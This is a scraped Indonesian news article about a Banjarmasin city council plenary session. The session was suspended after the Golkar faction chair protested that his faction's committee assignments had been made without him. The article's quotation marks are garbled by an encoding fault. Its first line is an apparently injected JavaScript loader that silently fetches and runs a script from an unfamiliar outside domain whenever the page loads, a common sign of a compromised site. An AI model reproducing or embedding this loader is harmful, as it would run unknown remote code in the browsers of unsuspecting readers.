(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARMASIN, Usai penetapan unsur pimpinan definitif DPRD Kota Banjarmasin pada Senin (30/9) lalu, jajaran wakil rakyat Kota Seribu Sungai ini langsung menggelar rapat paripurna pembentukan Alat Kelengkapan Dewan (AKD) pada Selasa (1/10) sore. Namun rapat gagal menuai hasil, gara-gara ribut internal di fraksi Golkar.
Gara-garanya, Ketua Fraksi Partai Golkar (FPG) Sukhrowardi yang merasa tak dianggap dan dilibatkan dalam penyusunan keanggotaan fraksi di komisi, mencak-mencak! Sukhro pun lantas mengajukan interupsi, saat juru bicara FPG Darma Sri Handayani hendak menyampaikan komposisi anggota FPG yang mengisi empat komisi di DPRD Banjarmasin.
Sukhrowardi beralasan, penyusunan anggota FPG untuk mengisi AKD tidak sepengetahuan dirinya. “Harus ketua fraksi mengetahui, jangan di belakang. Karena fraksi itu perpanjangan partai. Dalam hukum administrasi, yang disampaikan tandatangan fraksi bukan tanda tangan partai. Jangan menyalahi aturan,†kata Sukhrowardi.
Sukhrowardi pun kembali menegaskan, dirinya sebagai ketua fraksi tidak tahu menahu soal penyusunan anggota FPG untuk mengisi empat komisi yang ada di DPRD Banjarmasin. “Kalau kita terus-terusan seperti ini, awal dari kita akan selalu melanggar (aturan). Sudah diatur dalam tata tertib apa itu fungsi fraksi,†tegasnya.
“Kalau saya, katakanlah sebagai ketua fraksi, tidak mengetahui namun tiba-tiba dibacakan (susunan AKD) dan ditandatangani, saya juga tidak tahu. Ini awal yang tidak baik bagi kami sebagai fraksi,†tambahnya.
Interupsi Sukhrowardi pun langsung ditanggapi oleh Wakil Ketua DPRD Kota Banjarmasin Hj. Ananda, yang juga Ketua DPD Partai Golkar Kota Banjarmasin. Menurut Ananda, apa yang dibacakan oleh Darma Sri Handayani merupakan surat resmi dari FPG DPRD Kota Banjarmasin yang ditandatangani oleh Wakil Ketua FPG Matnor Ali.
“Secara legalitas itu sah, kemudian apa yang dibacakan oleh Ibu Darma Sri Handayani itu adalah susunan AKD dari rapat pleno Partai Golkar Kota Banjarmasin. Dan itu adalah sumber hukum yang sah untuk rapat paripurna hari ini,†tegas Ananda.
Lagi-lagi, Sukhrowardi pun memberikan interupsi atas apa yang disampaikan Ananda, dan mengklaim dirinya tidak pernah diberitahu soal susunan AKD dari FPG. “Apakah kehadiran saya kapasitasnya sebagai ketua fraksi ada persyaratan bahwa saya harus ditinggal? Padahal saya masih hidup, punya nyawa,†tegas Sukhrowardi dengan nada sedikit emosi.
“Kalau saya masih ada mengapa saya tidak dikomunikasikan? Kalau redaksinya seperti itu saya katakana, ‘saya masih hidup!’ Saya punya nyawa,†tambahnya.
Lantas, hujan interupsi dari sejumlah anggota DPRD Kota Banjarmasin pun bermunculan. “Rapat kita skors hingga menemukan kata sepakat. Namun mohon juga pimpinan mementukan, karena ini terkait kinerja dari DPRD Kota Banjarmasin, mohon pimpinan mementukan kapan kita untuk melanjutkan paripurna ini. Apakah besok jam 10 (pagi) artinya itu batas waktu bagi Golkar untuk menyelesaikan (masalah) internalnya. Agar kita nyaman begawi dan kita lakas begawi,†tegas HM Faisal Hariyadi dari Fraksi PAN.
Interupsi selanjutnya datang dari Arupah dari Fraksi Restorasi Bintang Pembangunan, yang malah meminta pimpinan untuk menskors paripurna selama sepuluh menit. “Kita memohon kepada pimpinan agar diskors selama 10 menit, atau 15 menit,†kata Arupah.
Interupsi terakhir datang dari Mathari dari Fraksi PKS, yang sependapat dengan Faisal agar paripurna diskors. “Berunding dulu, jangan sampai terjadi hal-hal yang tidak diinginkan. Karena pasti sama-sama merasakan bahwa masyarakat menunggu kinerja kita,†kata Mathari. Sehingga, dirinya berpandangan, paripurna dilanjutkan pada Rabu (2/10) esok. “Atau kalau bisa malam ini, mengapa tidak? Karena tinggal berkompromi saja,†tambah Mathari.
Walhasil, menimbang interupsi yang disampaikan sejumlah anggota DPRD Kota Banjarmasin ini, Ketua DPRD Kota Banjarmasin Harry Wijaya menutuskan untuk menskors rapat paripurna AKD ini hingga Rabu (2/10) esok. “Paripurna AKD kita skors karena merupakan hasil kesepakatan, yang mana dari kesepakatan itu diharapkan besok pagi untuk dapat disepakati,†kata Harry.
Ketika ditanya persoalan kelengkapan AKD dari FPG yang dipermasalahkan Sukhrowardi, Harry menyebut pimpinan DPRD Kota Banjarmasin tidak bisa mengintervensi permasalahan internal fraksi. “Kalau fraksi kami tidak bisa ikut campur. Yang jelas kita tunggu lah besok,†kata Harry. (fikri)
KANALKALIMANTAN.COM, BALIKPAPAN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More
KANALKALIMANTAN.COM - Fitur Accessibility pada perangkat smartphone adalah fitur yang penting untuk seseorang yang memiliki… Read More
KANALKALIMANTAN.COM - Kamu pernah dengar istilah "brand itu nyawa bisnis"? Di era digital ini, pernyataan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Puncak musim hujan sudah memasuki sejumlah wilayah Kalimantan Selatan (Kalsel) bertepatan pada… Read More
KANALKALIMANTAN.COM, BANJARBARU - Bagi warga Kota Banjarbaru yang akan meninggalkan rumah pada perayaan libur Natal… Read More
KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) menetapkan besaran Upah Minimum Provinsi (UMK), Upah Minimum… Read More
This website uses cookies.